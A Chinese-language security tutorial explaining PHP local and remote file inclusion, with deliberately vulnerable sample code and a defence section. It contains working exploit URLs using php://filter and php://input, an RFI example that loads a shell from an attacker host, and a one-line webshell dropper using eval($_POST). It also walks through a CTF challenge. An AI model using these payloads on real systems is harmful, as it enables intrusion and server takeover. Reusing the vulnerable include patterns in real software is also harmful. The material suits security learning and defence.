PHP文件包含漏洞详解:原理、利用与防御
什么是文件包含漏洞?
文件包含漏洞是PHP应用程序中常见的安全问题,当开发者使用包含函数引入文件时,如果传入的文件名参数未经严格校验,攻击者就可能利用这个漏洞读取敏感文件甚至执行恶意代码。
危险函数
PHP中有四个主要的文件包含函数:
include()
include_once()
require()
require_once()
这些函数在设计上允许动态包含文件,但如果不当使用就会成为安全漏洞的源头。
文件包含漏洞类型
本地文件包含(LFI - Local File Inclusion)
攻击者能够包含并执行服务器本地的文件。
利用方式:
- 直接读取Flag文件
- 通过PHP伪协议读取源代码
- 写入PHP木马获取webshell
示例1:基础LFI
<?php
$file = $_GET['file'];
if(file_exists('/home/www/'.$file.'.php')) {include '/home/www/'.$file.'.php';
} else {include '/home/www/'.'home.php';
}
?>
利用方法:
http://www.example.com/demo1.php?file=flag.php%00
这里使用了空字节截断技巧(%00
),使得.php
后缀被忽略,实际包含的是flag.php
文件。
PHP伪协议利用
PHP提供了多种伪协议,可以用于文件包含攻击:
1. file:// 协议
访问本地文件系统:
http://www.example.com/index.php?file=file://D:/phpStudy/WWW/flag.txt
2. php://filter
读取文件源代码(常用Base64编码避免直接执行):
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
3. php://input
将POST数据作为PHP代码执行(需allow_url_include=On
):
POST /index.php?file=php://input HTTP/1.1
...
<?php system('id'); ?>
远程文件包含(RFI - Remote File Inclusion)
攻击者可以包含远程服务器上的恶意文件。
必要条件:
allow_url_fopen = On
allow_url_include = On
示例2:基础RFI
<?php
$basePath = @$_GET['param'];
require_once $basePath.'/action/m_share.php';
?>
利用方法:
http://www.example.com/demo4.php?param=http://www.xx.com/attacker/PHPshell.txt?
问号后面的内容会被解释为查询字符串,从而截断原本要添加的后缀。
高级利用技巧
1. 日志文件污染
通过包含Apache或SSH日志文件,在其中注入PHP代码并执行。
2. Session文件包含
利用PHP session文件存储可控内容,然后包含session文件。
3. /proc/self/environ利用
在特定环境下,可以通过包含这个文件执行代码。
防御措施
- 白名单验证:只允许包含预定义的文件
- 禁用危险配置:
allow_url_fopen = Off allow_url_include = Off
- 路径限制:设置
open_basedir
限制文件访问范围 - 输入过滤:严格校验用户输入的文件名参数
- 避免动态包含:尽可能使用静态文件包含
实战案例
案例1:CTF题目解析
题目URL:http://level3.tasteless.eu/index.php?file=
源码:
<?php
highlight_file('index.php');
/*view file: php.ini
hint enough, might just take you seconds to do?! */
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!
$inc = @$_GET['file'];
@require_once($inc);
?>
解题步骤:
- 查看
php.ini
确认配置 - 使用
php://filter
读取源代码 - 分析源代码寻找flag
案例2:Webshell获取
- 准备木马文件
shell.php
:
<?php fputs(fopen("shell.php", "w"), '<?php eval($_POST["xxx"])?>')?>
- 通过文件包含漏洞上传并执行
- 使用中国菜刀等工具连接webshell
总结
文件包含漏洞危害严重,可能导致敏感信息泄露、系统沦陷等后果。开发者应当重视这类安全问题,遵循安全编码规范,而安全研究人员则可以利用这些知识更好地发现和修复漏洞。
切记:本文技术内容仅用于合法安全测试和学习研究,未经授权对他人系统进行测试属于违法行为。